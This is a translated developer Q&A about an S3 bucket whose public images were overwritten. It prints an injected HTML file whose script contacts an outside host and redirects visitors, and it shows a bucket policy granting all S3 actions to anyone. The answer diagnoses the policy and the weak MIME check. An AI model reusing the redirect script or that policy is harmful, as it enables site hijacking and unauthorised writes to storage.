[英]s3 images - Have my s3 bucket been hacked?
我平台的用戶可以上傳他們的頭像,但他們需要在我的 Laravel 后端請求簽名的 url。
這是 controller
public function avatarUploadSigner(Request $request)
{
return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}
在這里 function 得到一個簽名的 s3 來上傳圖片
function s3_signedUrl($path, $expireOnMinutes = 120) {
if(!$path) {
return ['error' => 'filename missing'];
}
$s3 = Storage::disk('s3');
$adapter = $s3->getDriver()->getAdapter();
$client = $adapter->getClient();
$mime = \League\Flysystem\Util\MimeType::detectByFilename($path);
try {
$command = $client->getCommand('PutObject', array(
'Bucket' => $adapter->getBucket(),
'Key' => $path,
'ContentType' => $mime,
'use_accelerate_endpoint' => true
));
$signedUrl = $client->createPresignedRequest(
$command,
"+$expireOnMinutes minutes"
);
$signedUrl = $signedUrl->getUri()->__toString();
} catch (S3Exception $e) {
return ['error' => $e->getMessage()];
}
return $signedUrl;
}
一周前,一些圖像轉向 html 文件,如下所示:
<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&type=content-script&dmn=myghostmarket.s3.eu-west-1.amazonaws.com&css=1&js=1&gcss=1&rel=0&rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&name=AdGuard%20Assistant&name=AdGuard%20Extra&type=user-script"></script><script>
var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>
但是最近不僅頭像,現在還更改了其他圖像,例如 header、頁腳等,這些圖像無法通過簽名的 url 更改。
我有這個存儲桶策略
"Version": "2008-10-17",
"Statement": [
{
"Sid": "AllowPublicRead",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::_____MY_DOMAIN_NAME_____/audio/*",
"arn:aws:s3:::_____MY_DOMAIN_NAME_____/img/*",
]
}
]
}
如果沒有簽名的 url,音頻和 img 文件夾是可讀的,但不可寫? 我還有另一個更重要的私人文件夾。
他們有危險嗎? 我的代碼有什么問題? 我的 s3 存儲桶被黑了嗎?
您的存儲桶策略說:
img
和audio
目錄中的對象這意味着我可以使用我的AWS 憑證來讀取、上傳和刪除該存儲桶中的對象。 它同樣可以解釋為什么對象已被外部各方上傳/修改。
如果您的意圖是使對象公開可讀,則應使用s3:GetObject
:
{
"Version":"2012-10-17",
"Statement":[
{
"Sid":"PublicRead",
"Effect":"Allow",
"Principal": "*",
"Action":"s3:GetObject",
"Resource":[
"arn:aws:s3:::examplebucket/audio/*",
"arn:aws:s3:::examplebucket/img/*",
]
}
]
}
detectByFilename
是檢查 mime 類型的最差方法。
/home/test/myfile.html.jpg
將返回 jpg,即使它不是合法的 jpg 文件。 相反,您應該使用\finfo(FILEINFO_MIME)
並讀取文件的 stream 以獲取 mime 類型。
不過,這是否會帶來重大問題,取決於您在上傳圖片后如何嵌入圖片。 如果您將原始文件數據嵌入到您的頁面中,這將使您面臨 CSRF 攻擊。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.